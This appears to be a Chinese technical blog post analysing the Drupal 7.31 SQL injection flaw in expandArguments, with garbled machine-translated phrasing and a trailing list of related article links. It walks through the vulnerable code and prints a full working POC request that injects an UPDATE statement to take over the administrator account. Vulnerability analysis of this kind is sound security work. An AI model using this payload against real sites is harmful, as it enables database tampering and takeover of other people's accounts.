此漏洞昨日爆发 ,我们有时间去看看今天的代码。

于Drupal于,跑sql声明使用PDO型号,这是一般能够避免大部分的注射,由于使用占位符的sql语法语句是限制。

但是,这并不意味着绝对安全,。

在Drupal的user模块中,找到user.module:

$account = db_query("SELECT * FROM {users} WHERE name = :name AND status = 1", array(':name' => $form_state['values']['name']))->fetchObject();

这里的:name就是占位符,它的内容来源于后面的$form_state。

跟进这个db_query函数。看看是怎样处理表单数据的。

折腾完,找到了expandArguments函数,这个函数的作用就是用前面db_query的參数进行终于查询语句的获取,正是因为这个函数对$key值的处理不当导致了漏洞的产生。

POC:

name[0%20;update users set name%3d'owned',pass%3d'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid %3d 1;%23%20%20]=admin&name[0]=111111&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

POC中的name数组就是传到函数中的Array。然后使用expandArguments函数对其进行处理。

在处理的过程中。以这样的方式得到新的数组:

$new_keys[$key . '_' . $i] = $value;

最后获取query语句的时候。会用到这个$new_keys。

$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

那么问题就来了。假设能够控制这个$key,那么我们就能够构造出语句进行运行(注意:PDO模型能够多条运行语句)。

分析POC,对函数进行分析调试:

能够看到,expandArguments函数就是把传递进来的name一层一层分离。最后将key带入终于的sql语句生成过程。上图最后的query就是终于要运行的SQL语句,问题是PDO能够多条运行,所以update语句就会运行成功了。

归结于一句话:Drupal使用:name进行SQL语句拼接,expandArgument函数将:name变为:name0中,使用:name_$key0的方式完毕,这个$key是可控的,所以导致漏洞产生。

运行结果例如以下:

把我之前的admin用户给覆盖了。

POC中的密码是使用了drupal内置的一个生成脚本进行生成的,即scripts中的password-hash.sh。

这个漏洞威力也非常大,由于你控制了对方的数据库。如此灵活的条件。势必会引发很多其它花样的攻击手段。

这个漏洞给我的感受就是:“没有绝对的安全”。

【转载请注明出处】



版权声明:本文博主原创文章,博客,未经同意不得转载。

Drupal 7.31 SQL注射分析POC相关推荐

  1. php cve-2014-8142漏洞,Drupal 7.31 SQL注入漏洞(CVE-2014-3704) EXP测试代码

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 最近频繁爆发各种0day,真是把大家累坏了.Drupal 7.31 SQL注入漏洞 ...

  2. 织梦dedecms search.php注入漏洞exp,DedeCms V57 plus/search.php 文件SQL注射0day漏洞

    微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋. Hackme论坛原创 转载请附带原文链接 作者: c4rp3nt3r ...

  3. KesionCMS V9.03 Final SQL注射

    作者:My5t3ry  漏洞存在于User/ChinaBankAutoReceive.asp 01 <%@LANGUAGE="VBSCRIPT" CODEPAGE=" ...

  4. SQL点滴31—SQL语句中@@IDENTITY和@@ROWCOUNT区别

    原文:SQL点滴31-SQL语句中@@IDENTITY和@@ROWCOUNT区别 SQL语句中@@IDENTITY和@@ROWCOUNT区别 在一条 INSERT.SELECT INTO 或大容量复制 ...

  5. Mybatis解析动态sql原理分析

    前言 废话不多说,直接进入文章. 我们在使用mybatis的时候,会在xml中编写sql语句. 比如这段动态sql代码: <update id="update" parame ...

  6. Spark SQL 源代码分析系列

    从决定写Spark SQL文章的源代码分析,到现在一个月的时间,一个又一个几乎相同的结束很快,在这里也做了一个综合指数,方便阅读,下面是读取顺序 :) 第一章 Spark SQL源代码分析之核心流程 ...

  7. 使用SQL Server分析服务定位目标用户

    如何定位目标用户,在任何一个业务单元中都是一个很重要的话题,尤其在预算有限的情况下,如何获得活动的最大收益,目标用户的定位都是很重要的手段. 本文将介绍如何通过SQL Server分析服务(SSAS) ...

  8. sql 注射_令人惊讶的注射

    sql 注射 所以,我欠吉姆道歉. 他编写了一个有效的模拟和JUnit测试,我在回顾中告诉他,我认为它没有达到他的预期. 当我错了时,这种情况对我来说就像是一个错误 . 称它为理想的意外副作用. 假设 ...

  9. sql 注射_只能在测试中注射吗?

    sql 注射 本文是关于测试设计和可测试性的一些想法. 我们与我的儿子讨论了一些问题,他的儿子是Java的初级开发人员,目前在匈牙利的EPAM(我工作的同一家公司,但在另一家公司工作)受雇并学习. 本 ...

最新文章

  1. 一个线程罢工的诡异事件
  2. 李沐:用随机梯度下降来优化人生!
  3. saltstack配置管理之YAML(二)
  4. 九、BDB OneToMany
  5. hdu2553 N皇后问题-dfs回溯剪枝+打表
  6. 使用正则表达式实现网页爬虫的思路详解
  7. jsonrpc-c编译
  8. java代码混淆工具ProGuard混淆插件
  9. AlphaGo算法论文 神经网络加树搜索击败李世石
  10. php新手自学手册,PHP编程新手自学手册
  11. 简述自定义驱动在工业通讯软件开发中的应用
  12. 《不要等到毕业以后》读书笔记
  13. 第八届中国智慧城市建设技术研讨会总体日程安排
  14. pom引入外部jar
  15. gdb 调试 PIE程序
  16. 比MySQL快801倍,字节阿里争相 部署,真香!
  17. C语言关系运算符详解
  18. TC358746AXBG/748XBG 桥接器说明
  19. 汉字转拼音函数 linux,汉字转拼音占内存更少转换速度更快的程序
  20. Waukesha点火模块维修点火器维修740822A

热门文章

  1. Fedora安装Samba与windows共享文件
  2. VC中DDX/DDV自定义
  3. margin和padding
  4. python exec
  5. linux规则及别名设置
  6. 德国KubeCon直击:如何轻松且安心地将k8s用于生产?
  7. 【C语言入门教程】2.7 表达式
  8. Alpha 测试和Beta的区别
  9. Active Diretory 全攻略(八)--组策略(2)
  10. 被神话的大数据——从大数据(big data)到深度数据(deep data)思维转变